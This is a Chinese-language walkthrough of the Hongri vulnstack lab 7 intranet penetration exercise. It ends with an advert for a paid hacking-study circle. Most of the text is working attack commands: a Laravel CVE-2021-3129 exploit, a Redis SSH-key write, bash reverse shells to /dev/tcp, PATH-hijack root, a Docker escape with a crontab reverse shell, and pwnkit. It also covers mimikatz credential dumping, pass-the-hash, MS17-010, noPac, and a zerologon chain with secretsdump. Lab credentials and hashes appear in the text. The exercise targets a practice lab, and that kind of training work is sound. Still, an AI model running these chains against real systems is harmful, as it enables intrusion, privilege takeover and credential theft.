免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
写在前面
红日靶场七涉及知识点:redis未授权访问、docker容器逃逸、MS17010、代理链、laravel漏洞、zerologon等。
靶场下载地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
拓扑
WP
通过58.1.3跳板机对入口点机器进行扫描
CVE-2021-3129 Laravel漏洞利用脚本利用尝试,使用laravel-exp.py工具,注意利用此工具写的webshell需要哥斯拉3.0以下版本。权限较低
python laravel-exp.py http://192.168.55.1.4:81
连上去以后发现很多指令不能执行,发现为docker环境。尝试反弹shell到本机,失败。
先整redis,可以连接
写入公钥(如果无法写入成功,可能是因为redis没有使用root用户启动,需要重新配置靶场)
python RedisGetshell.py -H 10.55.1.4
写入后用私钥连接
上传fsan扫描,52.20也有一个laravel,可能是nginx代理
查看52.10配置文件,应该是nginx代理出来的,我们52.10是在nginx上。
正向代理把52.10的流量代理出来。在52.10机器上上传frps和frpc
frpc.ini
[common]
server_addr = 127.0.0.1
server_port = 7000
# enable logs
log_file = ./frpc.log
trace, debug, info, warn, error
log_level = info
log_max_days = 3
[proxy]
type = tcp
remote_port = 6000
plugin = http_proxy
plugin_http_user = abc
plugin_http_passwd = abc
[socks5_proxy]
type = tcp
remote_port = 6005
plugin = socks5
plugin_user = abc
plugin_passwd = abc
frps.ini
[common]bind_port = 7000
proxifier连接,代理出来后可以访问52.20的8000端口
连接52.20的laraval马子,没法交互,反弹shell到52.10
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/8088 <&1'
Docker环境尝试容器逃逸,但是前提需要root权限才能访问所有文件。尝试CVE-2021-4034提权,上传文件到52.10,python开启共享。52.20下载。无法利用
尝试sudo提权
尝试suid提权
find / -user root -perm -4000 -print 2>/dev/null
发现shell文件有sudo权限,shell文件其实就是执行了ps指令,尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell。
### 方法一
cd /tmp #因为tmp权限为777
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
### 方法二:将/bin/bash的目录全都复制到/tmp/ps
至此获取了20中一个docker环境的root权限,再尝试把52.20 root的命令行返回到52.10获得交互式命令行
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/8087 <&1'
直接利用当前指令反弹到52.10,没有接受到
需要关闭掉8088这个反弹shell,8087才会接收到
root权限下尝试docker逃逸
mkdir test
fdisk -l
mount /dev/sda1 test
cd test
写入任务计划,都写进去了,但是没接收到反弹shell
echo 'bash -c "bash -i >& /dev/tcp/192.168.52.10/8086 0>&1"' >test.sh
echo '*/1 * * * * root /test.sh' >> /home/jobs/test/etc/crontab
echo '*/1 * * * * root /test.sh' >> /home/jobs/test/var/spool/cron/root
尝试写入公钥,52.20没有/root/.ssh文件,发现home下存在用户ubuntu
尝试将公钥写入ubuntu用户
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIyWnF46J385jnabqHmgx0/DbRD0Kixpc9tqo9e4bCJEeVzxGNrHnS3vhsQAFYFGZ43UGg2NE6iAgHlohvgBs8UGiuphJKcso6oaX1quifl8b4igO3M6sBSnlgOMZtjD/tdGCZ7TTMnSy1GqLB6BPZ40I5moh23cMtwM3zCXbKH5K7Xd2uHgTqH1VIExchUMAmQgGvqVP7Cdo3AXqHrnQv/gpt8zL+XX0VHCyahtfCCY3mAaETA1lwmiqWlSmv5z9D7c7N2xbvVhnOdnyqUKGSWjpS1w3qEP25pi3T61wjEhqyayv89Cex48bgjjgzej4XRXAAX5IyqE9Hlissvvk4CJgjDWuf/zfA9r+LV9JAISMbnUV706Rucp+GeUBzDbjMUGZ6AFiQyeWMi2YVAym64M7aI2GCYlEQihH/Coh3ilgF1G1jOZLJPGTexLvgWZwQN5GabCFaP3CbX8IlqANuSQNmoLyo/ATwNam3rryMJDgFOYb5JE8= [email protected]>> authorized_keys
然后就可以用id_rsa连接了。至此完成了52.10可以通过id_rsa登录52.20
继续尝试将ubuntu用户提权,再用一下上面的CVE-2021-4034,52.10上开启python共享
52.20利用curl下载,利用
curl -O http://192.168.52.10:8000/CVE-2021-4034.zip
unzip CVE-2021-4034.zip
cd /CVE-2021-4034
make
./cve-2021-4034
信息收集,发现新ip段
上传工具扫描,出现93.30(DC)和93.40(PC2)终于到第三层了。
同理在52.20上传代理工具,开启主动代理,本机(21.12)使用代理链连接。
测试代理,可以在跳板机访问到52.30
扫描通达OA漏洞,发现有很多漏洞
尝试利用第一个漏洞,漏洞利用成功
使用蚁剑连接,连接key为x
添加用户
net user nino [email protected] /add
net localgroup administrators nino /add
尝试RDP连接,需要开启多用户登录
上传mimikatz
mimikatz_64.exe ""privilege::debug"" ""sekurlsa::logonPasswords"" exit >> log.txt
mimikatz_64.exe ""privilege::Debug"" ""ts::multirdp""
WHOAMIANONY\Administrator Whoami2021 //域管理员
WHOAMIANONY\bunny Bunny2021
开启多用户后可rdp登录
使用wmiexec成功pth到93.30 DC。52.30上直接有域管的明文,有点戛然而止的感觉,再尝试一下别的攻击方式
wmiexec.exe -hashes :ab89b1295e69d353dd7614c7a3a80cec WHOAMIANONY/[email protected]
Sam-the-admin域内提权CVE-2021-42278 and CVE-2021-42287,失败,,应该是打包的问题。
sam_the_admin.exe "whoamianony/bunny:Bunny2021" -dc-ip 192.168.93.30 -shell
noPac.exe scan -domain whoamianony.org -user bunny -pass 'Bunny2021'
MS17010
use auxiliary/admin/smb/ms17_010_command
set COMMAND net user
set RHOST 192.168.93.30
exploit
利用成功,后续利用新建管理员账户
93.40不能利用
zerologon,存在漏洞。因为环境问题,把python文件都打包成exe了。
python3 zerologon_tester.py <dc-hostname> <dc-ip>
zerologon_tester.exe DC 192.168.93.30
###制空
set_empty_pw.exe DC 192.168.93.30
###dump hashes
secretsdump.exe whoamianony.org/[email protected] -no-pass
到这里漏洞利用步骤已经完成,但DC$无hash会导致机器脱域,接下来需要PTH连接上DC,dump本地hash来获取DC$hash。进而还原哈希
wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec [email protected]
### 连接默认在C盘下,直接reg导出会进入交互界面卡死。解决方法①进入一个可写的目录,比如desktop ②在reg导出语句结尾加/y 如reg save HKLM\SYSTEM system.save /y 表示强制覆盖已存在文件,避免目标机C:\目录下存在同名文件,命令会询问是否覆盖,半交互环境程序会卡住
reg save HKLM\SYSTEM system.save /y
reg save HKLM\SAM sam.save /y
reg save HKLM\SECURITY security.save /y
### 下载文件到本地,如果直接使用get无法识别改指令,使用lget
lget system.save
lget sam.save
lget security.save
### 清理痕迹
del /f *.save
### 获取DC$哈希
secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL
#重置
reinstall_original_pw.exe DC 192.168.93.30 81609d698de5bc4bdec8729afaf0a807
#验证
secretsdump.exe whoamianony.org/[email protected] -just-dc -no-pass
secretsdump.exe -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec [email protected]
后续会在圈子中发布靶场,以及其他内网靶场。
结尾
1、每周发布学习任务,由浅入深,从常见的漏洞原理、利用,到WAF绕过、钓鱼与免杀,再到Linux/Windows内网、域渗透,层层递进。会发布相应的参考资料,成员自行学习实践,并会根据每周任务选取1-3位完成优秀的成员,返还入圈费用。
2、日常分享优质学习资源与攻防渗透技巧,包括但不限于渗透tips、教程、手册、学习路线、书籍PDF。
3、遇到问题可以快速提问、交流讨论,共同学习。
PS:
关注福利:
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf
回复“资料" 获取 网络安全、渗透测试相关资料文档
往期文章